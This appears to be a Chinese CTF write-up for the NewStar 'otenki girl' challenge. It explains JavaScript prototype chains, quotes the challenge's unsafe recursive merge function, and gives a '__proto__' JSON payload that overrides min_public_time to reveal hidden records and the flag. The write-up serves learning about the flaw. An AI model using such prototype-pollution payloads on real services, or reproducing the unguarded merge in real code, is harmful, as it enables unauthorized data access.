原理

这篇是在复现newstar week3的otenki girl时写的,其实就是整理了一下js原型链的定义和题目注入点此类的东西。

原型链

首先解释一下js原型链,给个例子:

1
2
3
4
5
6
7
function test(num){
This.num=num;
}
test.prototype.add=function(num){
This.num+=num;
}
let te = new test(1);

这是声明一个test类的实例te的过程,我们首先了解一下实例的过程,也就是new的过程。

1.创建一个空的json结构

2.以这个json结构运行构造器constructor

3.将这个json结构的原型指向构造器的prototype,具体做法为将json的__proto__属性赋值为构造器的prototype

4.返回json

也就是说,实例化一个类,实际上就是创建一个json结构,然后将实例化的’原型’属性,也就是__proto__指向构造器的prototype,在上述代码里这样解释:

te.__proto__===test.prototype

也可以这样表示:

te['__proto__']===test.prototype

小特性

在js中,一个类中找不到需要访问的属性时,会转向他的原型寻找,例如:

console.log(te.constructor)

他会打印出”test”,原因是实例化,也就是new操作只继承prototype内的属性,constructor不在prototype里,也就是说te是没constructor属性的,那js就会转向他的原型里寻找,也就是te.proto === test.prototype,所以会返回

test.prototype.constructor === test.

那么知道了这一些,就可以初步开始原型链污染了,和字面意思一样,我们的目的是利用已由的实例化类来改变原型的属性,例如最开始我写的例子,我们可以

te['__proto__']['add']=123

然后我们

console.log(test.prototype.add)

输出123

题目复现

之后看otenki girl,具体题目在https://buuoj.cn/match/matches/190/challenges

结合提示我们看info.js和submit.js,先看info.js,里面比较重要的代码如下

1
2
3
4
5
6
7
8
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

第一行查看timestamp是否为数字,不是则赋值为当前时间

第二行创建miniTimestamp变量,赋值为CONFIG.min_public_time或者DEFAULT_CONFIG.min_public_time

第三行把timestamp赋值为timestamp和miniTimestamp最大的那个,也就是说这个值最小为miniTimestamp

这里去找一下CONFIG.min_public_time,查看config.js

1
2
3
4
module.exports={
app_name: "OtenkiGirls",
default_lang: "ja",
}

发现根本没有CONFIG.min_public_time,也就是说miniTimestamp一直会赋值为DEFAULT_CONFIG.min_public_time。

info.js最后一行是sql查找,找timestamp>=?的所有信息,那假如我们把timestamp变小,就可以获取最大数据了。

至此只是看了info.js文件,还没找到利用点,在看看submit.js,发现了可利用点

1
2
3
4
5
6
7
8
9
10
11
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

这里是递归获取前后json都有的属性,然后把dst中属性值赋值为src的属性值,在往后看

1
2
3
4
5
const result = await insert2db(merge(DEFAULT, data));
ctx.body={
status: "success",
data: result
};

这里的result就是利用点了,结合上下两串代码,我们可以构造恶意的data属性修改原型DEFAULT_CONFIG.min_public_time的值。

在此之前寻找一下DEFAULT_CONFIG.min_public_time,发现在config.default.js中,从文件名也能看出来DEFAULT是继承于config.default的

1
2
3
4
5
6
7
module.exports={
app_name: "OtenkiGirls",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

也即是说

DEFAULT['__proto__']['min_public_time']=DEFAULT_CONFIG['min_public_time']

那么我们的payload就可以设置为

1
2
3
4
5
{
"contact":"test",
"reason":"test",
"__proto__":{"min_public_time":"1001-1-30"}
}

稍微解释一下这个payload,联系meger函数

进入循环取出这个payload的键,也就是”contact”,”reason”,”__proto__“,前面两个不成立if,所以直接进入else运行

DEFAULT['contact']="test"

又因为因为DEFAULT[‘contact’]不存在,所以没有影响

同理,reason也没有影响,所以就直接看最后一个”__proto__“:

首先进入第一次if,

1
2
3
4
DEFAULT["__proto__"]=merge("DEFAULT["__proto__"]",
{
"min_public_time": 1001-1-30
})

接着第二次if

merge("DEFAULT["__proto__"]["min_public_time"]","1001-1-30")

然后进入else,将

DEFAULT["__proto__"]["min_public_time"] = "1001-1-30"

至此,原型链污染就已经成功了,然后我们访问info路由,将数据包时间戳改成0,timestamp就赋值为1001-1-30,就可成功查询。

submit路由下的污染图片:

info路由下的查看图片:

成功拿下flag:flag{c700abcc-df5d-4222-acc9-0967cea6cd4a}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝